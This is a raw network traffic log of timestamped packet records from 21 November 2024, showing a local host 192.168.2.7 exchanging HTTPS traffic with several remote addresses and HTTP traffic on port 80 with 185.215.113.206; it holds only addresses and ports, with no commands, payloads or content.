Nov 21, 2024 22:04:57.138926983 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.138992071 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.139007092 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.139051914 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.159949064 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.159971952 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.160032034 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.160043001 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.160074949 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.178375006 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.178416967 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.178463936 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.178482056 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.178514004 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.178544998 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.183691025 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.183707952 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.183808088 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.183877945 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.184058905 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.200423956 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.200443029 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.200530052 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.200550079 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.200761080 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.202752113 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.202785015 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.202825069 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.202841997 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.202862024 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.202889919 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.219882965 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.219918013 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.219978094 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.219993114 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.220030069 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.220056057 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.232709885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.232728004 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.232882977 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.233012915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.233047009 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.233087063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.233942032 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.234003067 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.234076977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.234133005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.234719038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.234762907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.234772921 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.234833956 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.235620975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.235663891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.235738993 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.235785961 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.236676931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.236722946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.236777067 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.236871958 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.237380028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.237421036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.237611055 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.237651110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.238266945 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.238312006 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.238377094 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.238415956 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.239193916 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.239238024 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.239306927 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.239358902 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.240091085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.240135908 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.240391016 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.240432024 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.240923882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.240972042 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.241137981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.241178989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.241946936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.241960049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.241991043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.242703915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.242717981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.242769957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.243570089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.243613958 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.243746996 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.243906975 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.244503975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.244515896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.244559050 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.245333910 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.245388031 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.245488882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.245558023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.246258974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.246309996 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.246391058 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.246442080 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.247150898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.247195005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.247281075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.247330904 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.248357058 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.248403072 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.248404026 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.248517990 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.248877048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.248915911 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.249228954 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.249288082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.249836922 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.249881983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.250113964 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.250154972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.250725985 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.250767946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.251104116 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.251147032 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.251588106 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.251638889 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.252052069 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.252099037 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.252425909 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.252465963 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.252546072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.252588987 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.253276110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.253329992 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.253443003 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.253503084 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.254173994 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.254232883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.254314899 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.254364014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.255048990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.255094051 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.255232096 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.255950928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.255994081 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.256429911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.256474018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.256866932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.256879091 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.256907940 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.256925106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.257745028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.257788897 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.257808924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.257910967 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.258632898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.258655071 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.258677959 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.258696079 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.259602070 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.259707928 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.260246038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.260288954 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.260370016 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.260411978 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.260483027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.260521889 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.261272907 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.261362076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.261388063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.261406898 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.262177944 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.262224913 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.262275934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.262367964 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.263122082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.263156891 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.263169050 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.263200045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.263886929 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.263955116 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.264053106 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.264096022 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.264774084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.264817953 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.264997005 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.265099049 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.265645981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.265695095 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.265773058 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.265808105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.266602039 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.266644001 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.266722918 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.266763926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.267431021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.267473936 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.267524958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.267577887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.268304110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.268347979 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.268630028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.268671989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.269201040 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.269288063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.269352913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.269403934 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.270224094 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.270267963 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.270317078 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.270375967 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.271102905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.271147966 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.271440983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.271492004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.271850109 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.271893978 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.272491932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.272536993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.272804022 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.272815943 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.272847891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.273701906 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.273747921 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.273962975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.274017096 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.274560928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.274604082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.275114059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.275156021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.275456905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.275520086 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.275568962 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.275604010 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.276267052 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.276316881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.276618958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.276669025 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.277139902 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.277189970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.277395010 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.277456045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.278134108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.278146982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.278183937 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.278975010 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.278987885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.279021978 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.279799938 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.279841900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.279870033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.279907942 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.280678988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.280766010 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.329993010 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.330065966 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.330081940 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.330101967 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.330127001 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.330153942 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.332905054 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.332940102 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.332969904 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.332984924 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.333000898 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.333012104 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.333029032 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.333055019 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.333235025 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.333249092 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.335747004 CET	443	49887	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.336215973 CET	49887	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.336241961 CET	443	49887	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.336921930 CET	49887	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.336926937 CET	443	49887	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.346739054 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.348378897 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.348428965 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.348462105 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.348476887 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.348495960 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.348584890 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.349637032 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.349704027 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.349742889 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.349759102 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.349773884 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.349780083 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.352682114 CET	49898	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.352745056 CET	443	49898	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.352925062 CET	49898	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.353049040 CET	49898	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:57.353065968 CET	443	49898	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:57.364595890 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.364661932 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.364684105 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.364697933 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.364727974 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.364748001 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.378459930 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.378510952 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.378534079 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.378549099 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.378567934 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.378612995 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.394572020 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.394623041 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.394645929 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.394659996 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.394706011 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.410645008 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.410697937 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.410713911 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.410727978 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.410749912 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.410772085 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.424745083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.424746037 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.424763918 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.424801111 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.424849987 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.424863100 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.424899101 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.424926996 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.424937963 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.425237894 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.425302982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.425484896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.426074028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.426142931 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.426203012 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.426282883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.426986933 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.427221060 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.427241087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.427351952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.427426100 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.428141117 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.428248882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.428495884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.428637028 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:57.429121971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.429136992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:57.429617882 CET	49819	80	192.168.2.7	185.215.113.206
